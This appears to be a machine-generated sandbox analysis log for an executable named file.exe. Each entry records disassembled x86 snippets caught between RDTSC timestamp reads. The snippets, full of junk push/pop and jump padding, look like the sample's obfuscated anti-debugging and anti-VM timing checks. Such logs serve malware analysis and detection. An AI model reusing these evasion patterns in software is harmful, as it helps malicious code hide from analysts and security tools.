Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C63 second address: 4E10C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C67 second address: 4E10C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C6D second address: 4E10C73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10C73 second address: 4E10C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88037 second address: E88040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E88040 second address: E8804D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E883E5 second address: E883EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8854FD8856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E883EF second address: E883F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8854FAEB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E883F9 second address: E883FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303C7 second address: 4E303F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8854FAEB96h 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 mov ax, di 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303F8 second address: 4E30423 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8865h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d call 00007F8854FD885Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3045B second address: 4E30461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30461 second address: 4E30465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20628 second address: 4E2062C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2062C second address: 4E20649 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20649 second address: 4E2064F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2064F second address: 4E20653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20653 second address: 4E20657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20657 second address: 4E20689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8854FD8860h 0x00000013 adc ch, 00000068h 0x00000016 jmp 00007F8854FD885Bh 0x0000001b popfd 0x0000001c mov ax, F15Fh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20689 second address: 4E2069D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2069D second address: 4E206ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d movzx eax, bx 0x00000010 push ebx 0x00000011 pushfd 0x00000012 jmp 00007F8854FD885Ch 0x00000017 adc ecx, 123D1428h 0x0000001d jmp 00007F8854FD885Bh 0x00000022 popfd 0x00000023 pop eax 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8854FD8865h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206ED second address: 4E206FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206FD second address: 4E20701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20701 second address: 4E20716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov esi, 7473B5EFh 0x00000011 movzx eax, di 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20716 second address: 4E20730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 5C8C6783h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edi, ax 0x00000014 mov esi, 12A2D7CFh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20730 second address: 4E20736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20736 second address: 4E2073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2073A second address: 4E20767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8854FAEB8Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20767 second address: 4E2076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2076D second address: 4E20773 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20773 second address: 4E20777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20777 second address: 4E20795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20795 second address: 4E20799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2081B second address: 4E20863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8854FAEB92h 0x00000009 adc si, FBE8h 0x0000000e jmp 00007F8854FAEB8Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 cmp dword ptr [ebp-04h], 00000000h 0x0000001b pushad 0x0000001c jmp 00007F8854FAEB94h 0x00000021 push eax 0x00000022 push edx 0x00000023 movzx esi, di 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20863 second address: 4E20895 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8854FD885Dh 0x00000008 xor cx, B8B6h 0x0000000d jmp 00007F8854FD8861h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov esi, eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20895 second address: 4E2089B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2089B second address: 4E208FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8854FD8860h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F8854FD885Bh 0x0000000f add cx, C69Eh 0x00000014 jmp 00007F8854FD8869h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007F8854FD88AEh 0x00000023 pushad 0x00000024 mov ebx, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8854FD8866h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20926 second address: 4E2092A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2092A second address: 4E20930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20930 second address: 4E2096A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 7C22C6BEh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d pushad 0x0000000e mov esi, edi 0x00000010 movsx ebx, si 0x00000013 popad 0x00000014 pop esi 0x00000015 jmp 00007F8854FAEB96h 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8854FAEB8Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2096A second address: 4E2096E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2096E second address: 4E20974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20974 second address: 4E2006E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d cmp eax, 00000000h 0x00000010 setne al 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007F8854FD8857h 0x00000019 xor eax, eax 0x0000001b sub esp, 08h 0x0000001e mov dword ptr [esp], 00000000h 0x00000025 mov dword ptr [esp+04h], 00000000h 0x0000002d call 00007F88591500EDh 0x00000032 mov edi, edi 0x00000034 jmp 00007F8854FD8862h 0x00000039 xchg eax, ebp 0x0000003a jmp 00007F8854FD8860h 0x0000003f push eax 0x00000040 jmp 00007F8854FD885Bh 0x00000045 xchg eax, ebp 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007F8854FD8864h 0x0000004d jmp 00007F8854FD8865h 0x00000052 popfd 0x00000053 push esi 0x00000054 mov si, di 0x00000057 pop edx 0x00000058 popad 0x00000059 mov ebp, esp 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 mov eax, edx 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2006E second address: 4E20074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20074 second address: 4E20078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20078 second address: 4E200AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d jmp 00007F8854FAEB90h 0x00000012 push 10D27CEDh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200AF second address: 4E200B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200B5 second address: 4E200C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E200C9 second address: 4E20175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 65C8215Bh 0x00000012 pushad 0x00000013 push esi 0x00000014 jmp 00007F8854FD885Bh 0x00000019 pop eax 0x0000001a mov bh, D5h 0x0000001c popad 0x0000001d call 00007F8854FD8859h 0x00000022 pushad 0x00000023 mov ecx, 72FF7CCDh 0x00000028 pushfd 0x00000029 jmp 00007F8854FD885Ah 0x0000002e and esi, 3EB809E8h 0x00000034 jmp 00007F8854FD885Bh 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F8854FD885Fh 0x00000043 xor si, 792Eh 0x00000048 jmp 00007F8854FD8869h 0x0000004d popfd 0x0000004e movzx esi, bx 0x00000051 popad 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 jmp 00007F8854FD885Ah 0x0000005b mov eax, dword ptr [eax] 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F8854FD885Dh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20175 second address: 4E2017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2017B second address: 4E201E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov cl, B7h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007F8854FD8860h 0x00000013 pop eax 0x00000014 jmp 00007F8854FD8860h 0x00000019 mov eax, dword ptr fs:[00000000h] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push edi 0x00000023 pop eax 0x00000024 pushfd 0x00000025 jmp 00007F8854FD8869h 0x0000002a sbb ah, FFFFFF86h 0x0000002d jmp 00007F8854FD8861h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201E5 second address: 4E201EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201EB second address: 4E201EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201EF second address: 4E201F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E201F3 second address: 4E2023F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F8854FD8864h 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007F8854FD8860h 0x00000016 sub esp, 18h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8854FD8867h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2023F second address: 4E20244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20244 second address: 4E202B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F8854FD8865h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f call 00007F8854FD885Ah 0x00000014 mov bl, cl 0x00000016 pop ebx 0x00000017 push ecx 0x00000018 pushfd 0x00000019 jmp 00007F8854FD8863h 0x0000001e add ecx, 23DB518Eh 0x00000024 jmp 00007F8854FD8869h 0x00000029 popfd 0x0000002a pop ecx 0x0000002b popad 0x0000002c mov dword ptr [esp], ebx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov dl, cl 0x00000034 movsx ebx, cx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202B3 second address: 4E202B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202B9 second address: 4E202BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202BD second address: 4E2034F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx eax, di 0x0000000d push ebx 0x0000000e mov edx, esi 0x00000010 pop ecx 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F8854FAEB91h 0x0000001c sub eax, 45D605D6h 0x00000022 jmp 00007F8854FAEB91h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F8854FAEB90h 0x0000002e adc esi, 22D243F8h 0x00000034 jmp 00007F8854FAEB8Bh 0x00000039 popfd 0x0000003a popad 0x0000003b xchg eax, edi 0x0000003c jmp 00007F8854FAEB96h 0x00000041 push eax 0x00000042 jmp 00007F8854FAEB8Bh 0x00000047 xchg eax, edi 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov si, bx 0x0000004e mov si, dx 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2034F second address: 4E203BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FD8866h 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [769B4538h] 0x00000013 pushad 0x00000014 call 00007F8854FD885Ah 0x00000019 movzx ecx, dx 0x0000001c pop ebx 0x0000001d pushfd 0x0000001e jmp 00007F8854FD885Ch 0x00000023 sub esi, 25A54248h 0x00000029 jmp 00007F8854FD885Bh 0x0000002e popfd 0x0000002f popad 0x00000030 xor dword ptr [ebp-08h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F8854FD8865h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203BC second address: 4E203CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203CC second address: 4E2040A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d pushad 0x0000000e jmp 00007F8854FD8865h 0x00000013 mov si, 4977h 0x00000017 popad 0x00000018 nop 0x00000019 jmp 00007F8854FD885Ah 0x0000001e push eax 0x0000001f pushad 0x00000020 push edi 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2040A second address: 4E20472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F8854FAEB93h 0x0000000b adc ecx, 2474A4AEh 0x00000011 jmp 00007F8854FAEB99h 0x00000016 popfd 0x00000017 popad 0x00000018 nop 0x00000019 jmp 00007F8854FAEB8Eh 0x0000001e lea eax, dword ptr [ebp-10h] 0x00000021 jmp 00007F8854FAEB90h 0x00000026 mov dword ptr fs:[00000000h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20472 second address: 4E2048F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10209 second address: 4E10212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 7C0Ch 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10212 second address: 4E10303 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8854FD8860h 0x00000010 sub esp, 2Ch 0x00000013 jmp 00007F8854FD8860h 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F8854FD8860h 0x0000001e push eax 0x0000001f jmp 00007F8854FD885Bh 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F8854FD8866h 0x0000002a xchg eax, edi 0x0000002b pushad 0x0000002c push esi 0x0000002d call 00007F8854FD885Dh 0x00000032 pop esi 0x00000033 pop ebx 0x00000034 call 00007F8854FD885Eh 0x00000039 mov ch, 11h 0x0000003b pop edx 0x0000003c popad 0x0000003d push eax 0x0000003e jmp 00007F8854FD885Dh 0x00000043 xchg eax, edi 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F8854FD885Ch 0x0000004b adc esi, 737CF0D8h 0x00000051 jmp 00007F8854FD885Bh 0x00000056 popfd 0x00000057 push eax 0x00000058 push edx 0x00000059 pushfd 0x0000005a jmp 00007F8854FD8866h 0x0000005f jmp 00007F8854FD8865h 0x00000064 popfd 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1031A second address: 4E10320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10320 second address: 4E1036B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d jmp 00007F8854FD8862h 0x00000012 sub edi, edi 0x00000014 jmp 00007F8854FD8861h 0x00000019 inc ebx 0x0000001a jmp 00007F8854FD885Eh 0x0000001f test al, al 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov bx, FC70h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1036B second address: 4E1037F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB90h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1037F second address: 4E10393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8854FD8A23h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10393 second address: 4E10397 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10397 second address: 4E1039D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10446 second address: 4E10462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FAEB97h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104AA second address: 4E104AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104AE second address: 4E104B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104B4 second address: 4E104E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8864h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F88C6B26816h 0x0000000f pushad 0x00000010 call 00007F8854FD885Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
